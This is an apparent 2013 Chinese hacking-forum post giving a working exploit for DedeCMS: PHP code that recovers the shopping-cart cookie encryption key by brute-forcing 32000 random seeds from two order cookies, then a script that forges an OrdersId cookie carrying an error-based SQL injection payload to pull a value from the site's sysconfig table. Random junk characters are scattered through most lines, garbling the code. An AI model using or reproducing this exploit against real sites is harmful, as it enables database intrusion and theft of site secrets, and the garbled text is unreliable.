中国网络渗透测试联盟

标题: 织梦CMS漏洞dedecms漏洞SQL注入漏洞 [打印本页]

作者: admin    时间: 2013-2-13 23:58
标题: 织梦CMS漏洞dedecms漏洞SQL注入漏洞
www.xxx.com/plus/search.php?keyword=7 v. Q3 Y/ z& O9 V( ]/ V% u5 Z% b
在 include/shopcar.class.php中
. w& z9 W* z4 s* Z8 A$ B先看一下这个shopcar类是如何生成cookie的# \  `2 h2 l8 U0 E, L) g$ l
239      function saveCookie($key,$value)0 o) D& d: M$ ~. h3 |- ~6 d
240      {6 E+ x3 [1 }. x% e+ [8 ~
241          if(is_array($value))
7 O& c# `: a) b2 P% V2 i0 S$ X242          {5 {% T, Y/ c9 h, d/ b4 I
243              $value = $this->enCrypt($this->enCode($value));
5 ?6 k) G$ |' h# ]) r; I8 W  K  {244          }! |5 F4 _1 n2 L, w6 q2 \* n1 @3 n
245          else# Y* E8 t+ h9 H) ]1 q2 ?
246          {; C- O0 }+ E" x, I1 I
247              $value = $this->enCrypt($value);7 X  _  z4 i. g* H3 O/ b0 l
248          }: l6 R) Y0 Q+ C4 O: [
249          setcookie($key,$value,time()+36000,’/');
# H* I: {; Z2 s250      }" u6 q/ F$ R8 K! T  u  I6 ]
简单的说,$key就是cookie的key,value就是value,enCode的作用是将array类型转变为a=yy&b=cc&d=know这样的类型,关键是enCrypt函数
* m: s. O) f7 t) |; V186      function enCrypt($txt)
5 m, H' w! X' x4 v& h7 X- P& [0 }187      {
1 W. \3 C5 v3 I3 W; r$ {% P188          srand((double)microtime() * 1000000);
3 e+ j1 a, l# L% R, F189          $encrypt_key = md5(rand(0, 32000));8 [9 ~  F6 L' Z) V6 H; X3 p
190          $ctr = 0;9 [3 ~8 [$ Y. p% B' ?
191          $tmp = ”;
" M, Y' H8 b9 u- V+ R4 U, O/ y9 _; G192          for($i = 0; $i < strlen($txt); $i++)
6 X5 T1 \1 [2 {  |, m+ k0 Q( R. f193          {
: B1 U3 O$ L- W5 T194              $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;' k$ o0 Z$ ?" g( Q* d; V
195              $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
5 @& @* T0 @* P/ ]9 g) z+ z196          }
( W5 @1 B* o" |! Z  Z5 j5 {- N197          return base64_encode($this->setKey($tmp));2 ?2 c* S  ^6 X5 i6 G0 Q
198      }7 X! P, D4 q3 Q
213      function setKey($txt)
/ U! A5 X' p& k! s214      {  b, @, ?! X% z$ A4 w, q- v" m" j
215          global $cfg_cookie_encode;' q: s0 c3 s- ~2 _4 z
216          $encrypt_key = md5(strtolower($cfg_cookie_encode));9 b7 U1 a( Y; v. t
217          $ctr = 0;
: k# t4 O7 I0 B9 A218          $tmp = ”;
0 b$ ]" t# X/ s4 |) b; @219          for($i = 0; $i < strlen($txt); $i++)
, u7 R  n$ @/ ?4 ^1 E; J220          {4 c0 l' i% I7 E- ^" }0 t& N
221              $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
' {$ Y2 T- K8 K, W- @% {+ W3 u% z222              $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
0 P; B$ G1 M3 }2 B$ g' l223          }4 }. @0 n( ]* H; H
224          return $tmp;5 Y4 B) K2 v: Z( N! r. R& A) M/ z/ [
225      }5 X1 M/ w+ b" K1 m( \) Z
enCrypt的参数$txt 我们是可知的,返回值就是cookie的值,这个我们也是可知的6 n+ T6 o) \  L5 ?1 r6 q1 m7 b
然后到了enCrypt调用 setKey时的参数$tmp,这个参数在某种意义上,我们也是可知的,因为$encrypt_key = md5(rand(0, 32000));只有32000种可能,我们可以推出32000种可能的$tmp,从而推出32000种可能的md5(strtolower($cfg_cookie_encode)),对了,忘记说了,我们的目的是推测出setKey中$encrypt_key的值,然后才能任意构造出购物车的cookie,从推出的32000种md5(strtolower($cfg_cookie_encode)),简单过滤掉非字母数字的key,就只剩下几百个可能的key,然后我们再从新下一次订单,然后再获取几百个可能的key,然后取交集,得到最终key。& B( |+ f( N( w! }! A+ [
具体代码如下:; I, [  @$ {/ m; b6 |- h
<?php
, a% n+ c& V- P! X( t$ w$cookie1 = “X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw==”; // here is the first cookie,change here
( x2 _( {0 \3 i/ N5 ?" d$cookie2 = “ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ==”; // here is the second cookie ,change here
2 C: S+ w* a% L" }: ?) o6 W$ S4 y$plantxt = “id=2&price=0&units=fun&buynum=1&title=naduohua1″; // here is the text , change here
  _1 U" n" ]  V/ k$ V; S, l, H4 ?function reStrCode($code,$string). i5 B6 f- V& ^2 a
{1 B' ?% y* j+ y  q
$code = base64_decode($code);
) P& e, j: _# ]4 v; q: c+ U! V$key = “”;! T6 k$ I. O* a- p' W+ n0 ]: p
for($i=0 ; $i<32 ; $i++)
  Z8 g; }: w6 Z" }{! s4 z- K; D3 J$ }
$key .= $string[$i] ^ $code[$i];
  f; ^; w! z- N0 U5 N}9 c7 M: L; G; @& B! o3 ]: y! k' L
return $key;
4 C! [0 E4 B# [6 ?; B$ s  ?# c}$ R2 J) H& o& Z% t# _
function getKeys($cookie,$plantxt)' S# G1 E8 E" @3 D; L# i5 ?9 R
{' ?7 z( z- ~* f) C  q
$tmp = $cookie;
/ C5 p, x/ v2 s6 d! S$results = array();" ^  ?& k6 h0 r# \
for($j=0 ; $j < 32000; $j++)
; j" l4 R( C* U" p, R8 U1 t{2 I; t. U" q' j2 O" M5 L
8 M$ ]  L; u3 q0 h8 m
$txt = $plantxt;
8 i2 b3 B8 x) M' F$ctr = 0;/ B# J% Y/ o* A- v5 w" |: d) k/ ]
$tmp = ”;  l1 b" L; X# |) _) U5 ^6 y
$encrypt_key = md5($j);0 K) B& }( g8 Y
for($i =0; $i < strlen($txt); $i ++)! y. n& L" Q: \5 H+ G5 C6 v7 l4 M
{9 r. n7 O# T! M0 l& P# j* V
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
1 G3 |6 j5 B9 r* X, ]* Y/ }# A) o$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
- W* F" n1 }5 d. ~+ I0 z4 [1 f}& b- L! W) i: F2 N; K4 s$ d) K
$string = $tmp;
" D" W. R7 V/ H+ B1 V7 M$code = $cookie;4 _+ F4 |( u( O
$result = reStrCode($code,$string);; q) D. \7 o) L2 f
if(eregi(‘^[a-z0-9]+$’,$result))
4 ?9 \0 N' G# R- x9 w: V{
& h" ]( _4 N4 r, Q* |echo $result.”\n”;: B  z  E* R* X% w7 H8 P
$results[] = $result;7 a  K6 U" x* ?6 h2 r; S
}
4 b" k$ w7 Z+ Y6 g( s; m6 _1 A}- N! p* v* ?* N) r8 e
return $results;
/ b! X" Q. E. N$ s' X: ~}/ j! _% b. c0 e7 [
$results1 = getKeys($cookie1,$plantxt);$ H- }  M7 y( K6 B
$results2 = getKeys($cookie2,$plantxt);5 b. Q/ F* K4 v0 {
print “\n——————–real key————————–\n”;* _5 _+ C5 y$ V# w$ F8 A# o. l
foreach($results1 as $test1)9 q% k7 e, l9 G6 A
{/ d4 X& D1 R! z0 P: T6 W: @1 ^
foreach($results2 as $test2)$ M5 O# X/ {; p6 L
{, e, U, x' u2 R4 D+ ^
if($test1 == $test2)* b) R* {  x6 e* A# Q1 O- @
{
* d: \- G9 g1 V& a; [echo $test1.”\n”;. e: q" o5 x0 i; T
}
- ^' e1 N( f  ^}
! e. H8 }4 w0 X5 R; u}
! Z8 ?, \/ d) m+ x8 p?>
! n. N" ]$ ?( N2 A! {: g/ N2 ~8 ?2 Icookie1 和 cookie2 是我下了两次订单后分别生成的cookie,
5 E7 d2 \2 h( t5 pplantxt可以根据页面来自己推算,大概就是这个格式:id=2&price=0&units=fun&buynum=1&title=naduohua1+ X; ^: Z- J6 R, L$ j: @& v
然后推算出md5(strtolower($cfg_cookie_encode))5 O% ~7 h4 c) K, M
得到这个key之后,我们就可以构造任意购物车的cookie
- g: h- T7 Q, P$ P6 |" R& Y接着看4 C" U) X2 ]! S( L
20  class MemberShops
! J+ j- y7 q& B8 x8 W21  {
6 {% [) S+ L* J  ^22      var $OrdersId;
. D& k& J# I1 S7 j23      var $productsId;  r& [* _: R9 }3 \  p, k$ `
24. e) j  Y2 F+ a6 i& k! Z* M
25      function __construct()
3 G+ Q+ \) ]  n& z1 x) {" ~8 L26      {
# x: ?) ^9 ]& g- A8 m27          $this->OrdersId = $this->getCookie(“OrdersId”);8 i5 @0 M8 g" q* O. g1 p/ E
28          if(empty($this->OrdersId))
* e% ]2 q6 k  [7 Y# U- y$ A29          {
9 g/ p- W+ h7 G& c' ]30              $this->OrdersId = $this->MakeOrders();
4 u* ?( ^, F* Q+ K. ~) m9 X: l2 n- M31          }* y0 l9 X) ?; h) \0 _( _3 Z
32      }( d$ S3 x" r9 C9 E- O
发现OrderId是从cookie里面获取的; f5 @0 T; x* a& m6 x& z
然后
* w4 n, M5 L9 j7 \. H0 |3 t$ v/ j/plus/carbuyaction.php中的
6 V9 D. n8 O6 _1 A' k29      $cart    = new MemberShops();  m9 O3 e6 t# g6 F5 A  m
39      $OrdersId = $cart->OrdersId;        //本次记录的订单号
: H/ m! s& y  L. q, X) I. X……& ?2 ]5 t4 @0 U3 |* y# O
173          $rows = $dsql->GetOne(“SELECT `oid` FROM #@__shops_orders WHERE oid=’$OrdersId’ LIMIT 0,1″);
/ M  X& O$ N! F! O( c8 R# _接着我们就可以注入了$ J. O2 ?4 S1 |' o+ D8 E
通过利用下面代码生成cookie:6 l: L/ V6 O3 i. [) x9 |/ H; P
<?php% u9 O& k1 L7 Y4 D
$txt = “1′ or 1=@`\’` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from #@__sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\’` or ’1′=’1″;% s7 L- i3 v, Y3 d$ B" B
$encrypt_key = “9f09293b7419ed68448fb51d5b174834″;   // here is the key, please change here. c1 q0 x- [1 ]$ I& Z) V- I9 P
function setKey($txt), }9 }1 |+ j0 v0 D
{4 ~& H( f/ Q" f# q. E# }7 ]
global $encrypt_key;
: Y  O2 d8 m& e4 B: y1 \6 x/ j$ctr = 0;
+ K$ W' V. S8 G  e5 ?* E$tmp = ”;, q% y0 H) u* _; z! _) b1 s7 A; i
for($i = 0; $i < strlen($txt); $i++)
9 ^+ e% q( p1 k{& ^5 M% L' m( v& C
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
9 N( g" }6 c; N! {8 o( s$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];$ t/ t% E2 ^! |$ z. ?9 X6 K0 e
}& x0 I7 R) ?; n. z8 I$ z
return $tmp;
: z7 U0 N+ A/ `& E$ w7 K}
$ F3 D# I) ~/ tfunction enCrypt($txt)
* N/ C& W, z. O- s* q{
/ D* `/ t& e1 L+ t+ vsrand((double)microtime() * 1000000);8 W" m7 @+ {; y& \: X
$encrypt_key = md5(rand(0, 32000));/ l* Q3 u. _+ c+ i3 O+ _$ Z, n3 z
$ctr = 0;& l( g! E) p8 D+ ~) v; c* r
$tmp = ”;
) H1 J( M. x* a8 s$ R: Sfor($i = 0; $i < strlen($txt); $i++)
' Y9 [$ Z+ g( E8 F{
  z2 P: v4 Z( Y) i$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
' A: W; x$ T8 Y9 U* i$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
0 A) F; C9 ~8 H* u: B/ E}
2 i4 t+ \* ]- R4 K- |7 t+ \6 a0 Zreturn base64_encode(setKey($tmp));+ Z3 J$ u4 Y3 n$ b  O* [  m2 D, S
}5 y- h+ d; U; j5 S9 d7 o  X
for($dest =0;$dest = enCrypt($txt);)
0 r' C: i0 H7 D( R{
2 f6 q! v2 l* o3 ?if(!strpos($dest,’+'))& y& ]+ i8 ^' _2 B! x
{
4 l' b/ \7 X" n" B6 B: K; ~break;( C+ a5 ~( |& E4 |% W
}
5 p7 b, `: l  g2 X7 `) n- _& E}
& s' [$ k. {! L9 e! R" Q2 vecho $dest.”\n”;
$ B! t  K- X0 z7 I?>
5 m1 c5 p5 D8 G; Y7 _% a8 l/ a5 Z, x1 w2 }$ }, m( \8 [





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2